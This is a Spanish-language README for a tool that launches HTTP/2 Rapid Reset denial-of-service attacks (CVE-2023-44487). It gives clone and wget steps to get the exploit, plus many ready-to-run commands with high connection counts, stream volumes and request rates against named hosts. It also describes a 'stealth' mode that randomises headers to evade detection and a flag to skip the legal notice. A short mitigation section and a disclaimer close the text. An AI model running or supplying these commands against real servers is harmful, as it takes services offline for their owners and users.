
Marco avanzado de explotación de la vulnerabilidad CVE-2023-44487 HTTP/2 Rapid Reset. Presenta ataques concurrentes de múltiples conexiones, control de velocidad adaptativo, modo sigiloso con encabezados aleatorios, métricas en tiempo real e informes de evaluación de riesgos. Solo para pruebas de penetración autorizadas. Por Sudeepa Wanigarathna
Edición Profesional v1.0.1 | Autor: Sudeepa Wanigarathna
Un marco de evaluación de nivel profesional para CVE-2023-44487, la vulnerabilidad de Restablecimiento Rápido de HTTP/2. Esta herramienta ayuda a los profesionales de la seguridad a probar y validar sistemas frente a una de las condiciones de DoS de HTTP/2 más impactantes divulgadas en los últimos años.
Demuestra cómo la creación y el restablecimiento rápidos de flujos HTTP/2 pueden agotar los recursos del servidor y provocar condiciones de Denegación de Servicio (DoS).
| Uso | Resultados |
|---|---|
![]() | ![]() |
| Atributo | Valor |
|---|---|
| ID de CVE | CVE-2023-44487 |
| Puntuación CVSS | 7.5 (Alta) |
| Vector de ataque | Red |
| Complejidad del ataque | Baja |
| Impacto | Denegación de Servicio (Agotamiento de recursos) |
| Protocolos afectados | HTTP/2 |
| Fecha de divulgación | Octubre de 2023 |
La vulnerabilidad explota el mecanismo de gestión de flujos del protocolo HTTP/2:
| Característica | Descripción |
|---|---|
| Soporte de HTTP/2 | Implementación completa del protocolo HTTP/2 mediante la librería h2 |
| Multiconexión | Ataque concurrente a través de múltiples conexiones |
| SSL/TLS | Soporte HTTPS con opciones de verificación de certificados |
| Control de tasa adaptativo | Ajusta dinámicamente la tasa de ataque según la respuesta del servidor |
| Modo sigiloso | Cabeceras aleatorias y rotación de conexiones |
| Monitorización en tiempo real | Visualización de métricas en vivo durante la ejecución |
| Informes completos | Salida JSON/CSV con evaluación de riesgos |
| Soporte de Docker | Despliegue en contenedores para facilitar las pruebas |
| Componente | Mínimo | Recomendado |
|---|---|---|
| SO | Linux / macOS / Windows | Linux o macOS |
| Python | 3.7+ | 3.11+ |
| CPU | 2 núcleos | 4+ núcleos |
| RAM | 2GB | 4GB+ |
| Red | 100Mbps | 1Gbps+ |
h2>=4.1.0,<5.0.0
aiohttp>=3.8.0,<4.0.0
# Clone the repository
git clone https://github.com/CerberusMrXi/CVE-2023-44487-HTTP2-DoS-Rapid-Reset-Exploit
cd CVE-2023-44487-HTTP2-DoS-Rapid-Reset-Exploit
# Install dependencies
pip install -r requirements.txt
# Verify installation
python3 cve-2023-44487-exploit.py --help
# Create virtual environment
python3 -m venv venv
# Activate virtual environment
# On Linux/macOS:
source venv/bin/activate
# On Windows:
venv\Scripts\activate
# Install dependencies
pip install -r requirements.txt
# Build Docker image
docker build -t cve-2023-44487-exploit .
# Run with Docker
docker run --rm cve-2023-44487-exploit target.com
# Install without requirements.txt
pip install "h2>=4.1.0,<5.0.0" "aiohttp>=3.8.0,<4.0.0"
# Download the exploit
wget https://raw.githubusercontent.com/CerberusMrXi/CVE-2023-44487-HTTP2-DoS-Rapid-Reset-Exploit/main/cve-2023-44487-exploit.py
# Make executable
chmod +x cve-2023-44487-exploit.py
# Simple run with default settings
python3 cve-2023-44487-exploit.py example.com
# Test HTTPS on port 443
python3 cve-2023-44487-exploit.py target.com -p 443 --no-verify
# Test HTTP on port 80
python3 cve-2023-44487-exploit.py target.com -p 80 --no-ssl
python3 cve-2023-44487-exploit.py target.com -c 10 -s 100 -d 5 --no-verify
python3 cve-2023-44487-exploit.py target.com -c 100 -s 2000 -d 60 --stealth --no-verify
| Opción | Descripción | Valor predeterminado |
|---|---|---|
host | Nombre de host o IP del objetivo | Obligatorio |
-p, --port | Puerto del objetivo | 443 |
--no-ssl | Deshabilitar SSL/TLS | False |
--no-verify | Omitir la verificación SSL | False |
| Opción | Descripción | Valor predeterminado |
|---|---|---|
-c, --connections | Número de conexiones concurrentes | 50 |
-s, --streams | Flujos por conexión | 1000 |
-d, --duration | Duración en segundos | 30 |
--max-streams | Máximo de flujos totales | 100000 |
--delay | Retardo base entre operaciones | 0.0001s |
| Opción | Descripción | Valor predeterminado |
|---|---|---|
--adaptive | Control de tasa adaptativo | True |
--target-rps | Solicitudes objetivo por segundo | 10000 |
--stealth | Modo sigiloso (cabeceras aleatorias) | False |
--skip-validation | Omitir la validación del objetivo | False |
--force | Omitir el aviso legal | False |
| Opción | Descripción | Valor predeterminado |
|---|---|---|
-o, --output | Nombre del archivo de salida | exploit_results.json |
--format | Formato de salida (json / csv / console) | json |
-v, --verbose | Registro detallado (verbose) | False |
Utilice los indicadores de CLI anteriores para ajustar la concurrencia, el volumen de flujos, la duración y los informes. Prefiera valores más bajos de -c / -s / -d para la validación inicial y escale solo en sistemas que esté autorizado a someter a pruebas de estrés.
| Escenario | Indicadores sugeridos |
|---|---|
| Prueba de humo | -c 10 -s 100 -d 5 |
| Evaluación estándar | -c 50 -s 1000 -d 30 |
| Prueba de laboratorio de alta carga | -c 100 -s 2000 -d 60 --stealth |
| Certificado no confiable | --no-verify |
| HTTP simple | -p 80 --no-ssl |
docker build -t cve-2023-44487-exploit .
docker run --rm cve-2023-44487-exploit target.com
docker run --rm cve-2023-44487-exploit target.com -c 100 -s 2000 -d 60
docker run --rm -v "$(pwd)/results:/app/results" \
cve-2023-44487-exploit target.com -o /app/results/report.json
docker run --rm -it --entrypoint /bin/bash cve-2023-44487-exploit
# Start with docker-compose
docker-compose up
# Run with a custom command
docker-compose run --rm exploit target.com -c 100 -s 2000 -d 60
python3 cve-2023-44487-exploit.py api.example.com -p 443 --no-verify -c 50 -s 1000 -d 30
python3 cve-2023-44487-exploit.py api.example.com -p 80 --no-ssl -c 50 -s 1000 -d 30
python3 cve-2023-44487-exploit.py target.com -c 200 -s 5000 -d 120 --target-rps 50000
python3 cve-2023-44487-exploit.py target.com --stealth -c 100 -s 2000 -d 60
python3 cve-2023-44487-exploit.py target.com -c 10 -s 100 -d 5 --no-verify
python3 cve-2023-44487-exploit.py target.com --format csv -o report.csv
python3 cve-2023-44487-exploit.py target.com --skip-validation -c 50 -s 1000 -d 30
python3 cve-2023-44487-exploit.py production.com -p 443 --no-verify \
-c 100 -s 2000 -d 60 --stealth -o full_report.json
| Métrica | Descripción | Interpretación |
|---|---|---|
| Flujos totales | Número de flujos creados | Mayor número = más carga generada |
| Restablecimientos exitosos | Flujos restablecidos correctamente | Normalmente más del 90 % en objetivos vulnerables |
| Tasa de restablecimiento (RPS) | Restablecimientos por segundo | Mayor tasa = carga más eficaz |
| Tasa de éxito | Porcentaje de restablecimientos exitosos | Más del 90 % suele indicar exposición |
| Errores de conexión | Conexiones fallidas | Bajo = conectividad estable |
| Restablecimientos del servidor | Restablecimientos iniciados por el servidor | Alto = hay medidas de protección presentes |
| Nivel | Puntuación | Significado |
|---|---|---|
| CRÍTICO | 80–100 | Servidor altamente vulnerable |
| ALTO | 60–79 | Servidor vulnerable, con cierta protección |
| MEDIO | 40–59 | Hay cierta protección implementada |
| BAJO | 0–39 | Servidor bien protegido |
================================================================================
EXPLOIT EXECUTION SUMMARY
================================================================================
Target: target.com:443
Duration: 30.00s
Total Streams: 15,234
Successful Resets: 15,198
Reset Rate: 506.6/s
Success Rate: 99.76%
Connection Errors: 0
--------------------------------------------------------------------------------
RISK ASSESSMENT
--------------------------------------------------------------------------------
Risk Level: CRITICAL
Risk Score: 95/100
Factors:
- Extremely high reset rate accepted
- Very high success rate
================================================================================
Aplicar parches de seguridad
Implementar limitación de tasa
# Nginx rate limiting example
http {
limit_req_zone $binary_remote_addr zone=http2:10m rate=10r/s;
limit_req zone=http2 burst=20 nodelay;
}
Límites de conexión
# Limit connections per client
limit_conn_zone $binary_remote_addr zone=conn_zone:10m;
limit_conn conn_zone 10;
| Parámetro | Recomendación |
|---|---|
| Flujos concurrentes máximos | Establecer entre 100 y 200 por conexión |
| Tasa de restablecimiento de flujos | Limitar a <100/seg por cliente |
| Límite de conexiones | Máximo de 50 a 100 conexiones por IP |
| Valores de tiempo de espera | Reducir los tiempos de espera de inactividad |
| Límites de tamaño de solicitudes | Limitar el tamaño de las cabeceras y la carga útil |
# Monitor HTTP/2 connections
netstat -an | grep 443 | grep ESTABLISHED | wc -l
# Monitor reset-related log entries (example)
grep "RST_STREAM" /var/log/nginx/error.log | wc -l
IMPORTANTE: LEA ESTO ATENTAMENTE ANTES DE UTILIZAR ESTA HERRAMIENTA
Esta herramienta se proporciona únicamente para pruebas de seguridad autorizadas y fines educativos.
Al utilizar esta herramienta, usted reconoce y acepta que:
Esta herramienta NO debe utilizarse para:
EL AUTOR Y LOS COLABORADORES PROPORCIONAN ESTA HERRAMIENTA "TAL CUAL", SIN NINGUNA GARANTÍA. EL USO DE ESTA HERRAMIENTA ES BAJO SU PROPIO RIESGO. EL AUTOR NO ES RESPONSABLE DE NINGÚN DAÑO NI PROBLEMA LEGAL DERIVADO DEL USO DE ESTA HERRAMIENTA.
El uso no autorizado de esta herramienta puede infringir leyes, incluidas, entre otras:
Sudeepa Wanigarathna
connection_attempts--skip-validationEste proyecto está bajo la Licencia MIT; consulte el archivo LICENSE para obtener más detalles.
h2, aiohttp)Para incidencias y preguntas:
# Quick Commands
# Test HTTPS (skip cert verify)
python3 cve-2023-44487-exploit.py target.com --no-verify
# Test HTTP
python3 cve-2023-44487-exploit.py target.com -p 80 --no-ssl
# Quick test (5 seconds)
python3 cve-2023-44487-exploit.py target.com -c 10 -s 100 -d 5
# Full assessment
python3 cve-2023-44487-exploit.py target.com -c 100 -s 2000 -d 60 --stealth
# Skip validation
python3 cve-2023-44487-exploit.py target.com --skip-validation
# Docker
docker run --rm cve-2023-44487-exploit target.com
# Help
python3 cve-2023-44487-exploit.py --help
RECORDATORIO: obtenga siempre la autorización adecuada antes de probar cualquier sistema. Utilice esta herramienta de manera responsable y ética.
Mantenido por Sudeepa Wanigarathna | Última actualización: agosto de 2026